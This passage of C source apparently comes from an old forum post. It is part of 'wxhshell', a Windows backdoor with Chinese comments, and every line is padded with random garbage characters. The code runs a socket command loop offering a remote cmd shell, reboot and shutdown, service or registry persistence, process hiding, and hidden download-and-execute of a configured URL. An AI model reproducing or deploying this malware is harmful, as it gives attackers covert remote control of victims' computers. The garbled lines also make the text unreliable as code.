  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M< *5Y43  
  } m qPWCFP  
  else { bo <.7  
6G/)q8'G  
    switch(cmd[0]) { 5L42'gJ  
  j08 G-_Gjn  
  // 帮助 -F4CHpua  
  case '?': { `;(/W h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Um9!<G=;  
    break; 4^w>An6  
  } *=MC+4E  
  // 安装 -J:](p  
  case 'i': { xHJ+!   
    if(Install()) |w>"oaLN|Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . m7iXd{  
    else |C=^:@}ri?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 59$mfW o>  
    break; jzI\Q{[m'  
    } HMgZ& v  
  // 卸载 f>\?\!  
  case 'r': { 5A7!Xd  
    if(Uninstall()) w]"Y1J(i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Msee+ZZ :  
    else M_T$\z;,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (+@3Dr5o0}  
    break; $* b>c:  
    } }f^K}*sK$5  
  // 显示 wxhshell 所在路径 t<|=-  
  case 'p': { r7C  m  
    char svExeFile[MAX_PATH]; NX@TWBn%  
    strcpy(svExeFile,"\n\r"); A}~hc&J  
      strcat(svExeFile,ExeFile); T_[W=9  
        send(wsh,svExeFile,strlen(svExeFile),0); }&y>g0$@  
    break; +_Fsiu_b  
    } ?j ?{} Z  
  // 重启 P;MS%32  
  case 'b': { 6DaH+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^-~.L: }q  
    if(Boot(REBOOT)) VXn]*Mo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  42Gr0+Mb  
    else { +SrE  
    closesocket(wsh); MZ=U} &F  
    ExitThread(0); 0w8Id . ,  
    } yeE_1C .  
    break; V/"0'H\"1  
    } /A_</GYs  
  // 关机 W E|L{  
  case 'd': { '3[Ecy#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `Wn0v2@a(~  
    if(Boot(SHUTDOWN)) 0AJ6g@ t[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tI*u"%#t  
    else { TkWS-=lNH0  
    closesocket(wsh); A{x &5yX8  
    ExitThread(0); E2X KhW  
    } ^T(l3r  
    break; !ye%A&  
    } =bN[TD  
  // 获取shell W$:;MY>0f  
  case 's': { ^._)HM  
    CmdShell(wsh); cp0>Euco=  
    closesocket(wsh); :Q+ rEjw+  
    ExitThread(0); Jc`LUJT  
    break; Z>o;Yf[  
  } [ueT]%  
  // 退出 Y8m|f  
  case 'x': { CyzvQfpZr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AJt0l|F  
    CloseIt(wsh); {(D$ Xb  
    break; n@T4z.*~lA  
    } @,M!&l  
  // 离开 _m3PAD4  
  case 'q': { mEz&:A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DI!NP;E  
    closesocket(wsh); nHD4J;l  
    WSACleanup(); &1]}^/u2  
    exit(1); *Z|!%C  
    break; 0x[vB5R  
        } uPRusG4!R  
  } 4K0N$9pd:  
  } egx(N <  
ecA0z c~  
  // 提示信息 ThJLaNS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -HZvz[u  
} U>:CX XHRt  
  } sb4r\[?  
|5e/.T$  
  return; 1k{ E7eL  
} /}#z/m@bN  
`o/tpuI  
// shell模块句柄 6dC!&leNi  
int CmdShell(SOCKET sock) 9WtTUk  
{ p8Lb*7W  
STARTUPINFO si; :!g|0CF_  
ZeroMemory(&si,sizeof(si)); Wj.)wr!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T=;'"S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pR`.8MMc8  
PROCESS_INFORMATION ProcessInfo; \&@Tq-o  
char cmdline[]="cmd"; VIAj]Ul  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -("79v>#  
  return 0; xx!o]D-}  
} 1ww|km  
I0m/   
// 自身启动模式 {YK6IgEsJe  
int StartFromService(void) ',m,wp`  
{ u"X8(\pOn  
typedef struct $'?CY)h{  
{ s8@fZ4  
  DWORD ExitStatus; L!mQP  
  DWORD PebBaseAddress; Tk.MtIs)V}  
  DWORD AffinityMask; OaU} 9&  
  DWORD BasePriority; G dL\  
  ULONG UniqueProcessId; cl:*Q{(Cjk  
  ULONG InheritedFromUniqueProcessId; 9XobTi3+'  
}   PROCESS_BASIC_INFORMATION; #\%Gr tM  
<C# s0UX  
PROCNTQSIP NtQueryInformationProcess; s![=F}ck  
>=C)\Yfu)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wpx,~`&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F_YZV)q!W  
if#$wm%  
  HANDLE             hProcess; J +<|8D  
  PROCESS_BASIC_INFORMATION pbi; 7-W(gD!`  
asPD>jc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j1**Ch/  
  if(NULL == hInst ) return 0; Dih~5  
=E4nNL?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q`r1pO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "i_tO+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m_\CK5T_  
5>h2WL  
  if (!NtQueryInformationProcess) return 0; h>bmHQ  
-?LSw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =jg!@H=_i  
  if(!hProcess) return 0; bTHJbpt*-  
}Z0)FU +  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <KHB/7  
Nm OQ7T  
  CloseHandle(hProcess); Y$oBsg\v  
eUF PzioW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oY+RG|j@  
if(hProcess==NULL) return 0; JK,#dA#  
\f /<#'  
HMODULE hMod; ~5p `Kg*  
char procName[255]; Z;WqKIM#  
unsigned long cbNeeded; kIXLB!L2b^  
El"XF?OgpP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aL#b8dCy'  
jWP(7}U  
  CloseHandle(hProcess); |mMW"(~  
Eptsxyz{  
if(strstr(procName,"services")) return 1; // 以服务启动 qDcl;{L  
Zh3]bg5  
  return 0; // 注册表启动 f)"O( c  
} $JX_e  
J8/>b{Y  
// 主模块 0FEb[+N  
int StartWxhshell(LPSTR lpCmdLine) 'e{e>>03  
{ RsTpjY*Xb  
  SOCKET wsl; 9;h 1;9sC|  
BOOL val=TRUE; DrMcE31  
  int port=0; 3@6f%Dyj  
  struct sockaddr_in door; Kpj0IfC,10  
z%mM#X  
  if(wscfg.ws_autoins) Install(); Q?[k>fu0  
f$(w>B7..  
port=atoi(lpCmdLine); IGv>0LOd@  
Fp@eb8Pl  
if(port<=0) port=wscfg.ws_port; {yspNyOx  
-R6z/P (}  
  WSADATA data; 1*>a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J5|Dduv  
$9Z8P_^.0(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +=O8t0y n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _NqEhf:8  
  door.sin_family = AF_INET; A:NsDEt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q v{q:=k  
  door.sin_port = htons(port); `$MO.K{  
TioI$?l>W(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3R4-MK  
closesocket(wsl); [!bTko>rSB  
return 1; ~!)_3o  
} 8?I(wn  
Fnll&TF  
  if(listen(wsl,2) == INVALID_SOCKET) { r,yhc =  
closesocket(wsl); TS=p8@w}  
return 1; ; [dcbyu@  
} 9"MC<  
  Wxhshell(wsl); }.` ycLW'  
  WSACleanup(); p|AIz3  
v\\Z[,dK  
return 0; :/Sx\Nz78  
pN%L3?2  
} `n5|4yaG~  
(A(d]l  
// 以NT服务方式启动 $i~DUT(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Is?0q@  
{ m_(+-G  
DWORD   status = 0; fE_QB=9 cz  
  DWORD   specificError = 0xfffffff; \[Rh\v&  
)+cP8$n6L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q] ,&$d^@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4-cnkv\~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4[+n;OI  
  serviceStatus.dwWin32ExitCode     = 0; O '$:wc#  
  serviceStatus.dwServiceSpecificExitCode = 0; ds7I .Q'  
  serviceStatus.dwCheckPoint       = 0; B6=8cf"i  
  serviceStatus.dwWaitHint       = 0; MdEZ839J  
P9Rq'u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hh54&YKZ  
  if (hServiceStatusHandle==0) return; 46}/C5  
6,s@>8n  
status = GetLastError(); FV:{lC{h~  
  if (status!=NO_ERROR) ot-!_w<  
{ yrkd#m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O!/J2SfuDH  
    serviceStatus.dwCheckPoint       = 0; xNq&_oY7  
    serviceStatus.dwWaitHint       = 0; -+ $u  
    serviceStatus.dwWin32ExitCode     = status; $WTu7lVV[1  
    serviceStatus.dwServiceSpecificExitCode = specificError; k)y0V:ZY]O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,:;nq>;  
    return; !|Vjv}UO  
  } 1z[WJ}$u  
qj/ 66ak  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vbFY}  
  serviceStatus.dwCheckPoint       = 0; 6>bKlYl&9  
  serviceStatus.dwWaitHint       = 0; #lV&U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O6boTB_2  
} N}.h_~6  
TKj9s'/  
// 处理NT服务事件,比如:启动、停止 HykJ}ezX4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "$ u"Py  
{ Cn+TcdHX  
switch(fdwControl) nLo:\I(  
{ rQ~%SUM7  
case SERVICE_CONTROL_STOP: 7xWX:2l*?  
  serviceStatus.dwWin32ExitCode = 0; uQpV1o5iA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !m]76=@  
  serviceStatus.dwCheckPoint   = 0; V&\ZqgDF  
  serviceStatus.dwWaitHint     = 0; pMs%`j#T  
  { 6=|Q>[K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 64>Zr  
  } U .e Urzu  
  return; G0a UZCw  
case SERVICE_CONTROL_PAUSE: =o+t_.)N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %H%>6z x  
  break; p/SJt0  
case SERVICE_CONTROL_CONTINUE: H( cY=d,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ! =|{  
  break; gqG l>=.m  
case SERVICE_CONTROL_INTERROGATE: _gw~A {O  
  break; 7j._3'M=Kc  
}; 3#5sj >  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `?`\!uP"  
} $Fr$9 jq&  
W)j/[  
// 标准应用程序主函数 $yc&f(Tv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FnL~8otPF'  
{ b:W]L3Z8  
syBYH5  
// 获取操作系统版本 ]]9eUw=  
OsIsNt=GetOsVer(); &hqGGfVsd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % sT=>\  
"64pVaT4  
  // 从命令行安装 ?XW+&!ar  
  if(strpbrk(lpCmdLine,"iI")) Install(); E)>6}0P  
2Ni2Gkf@  
  // 下载执行文件 [Zgy,j\ \  
if(wscfg.ws_downexe) { &bA;>Lu#|o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Neey myW  
  WinExec(wscfg.ws_filenam,SW_HIDE); H^'EY:|  
} %~$4[,=  
[=..#y!U  
if(!OsIsNt) { p2w/jJMD  
// 如果时win9x,隐藏进程并且设置为注册表启动 rP#@*{";  
HideProc(); sveFxI  
StartWxhshell(lpCmdLine); .6  
} )3z.{.F  
else =:9n+7~$  
  if(StartFromService()) G}] ZZ  
  // 以服务方式启动 6n;ewl}  
  StartServiceCtrlDispatcher(DispatchTable); Vv6xVX  
else RC\TPG/8!  
  // 普通方式启动 !tX14O~B-  
  StartWxhshell(lpCmdLine); U3A>#EV  
Awe\KJ^`  
return 0; q;Qpd]H  
}
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只看该作者 1 发表于: 2006-10-10
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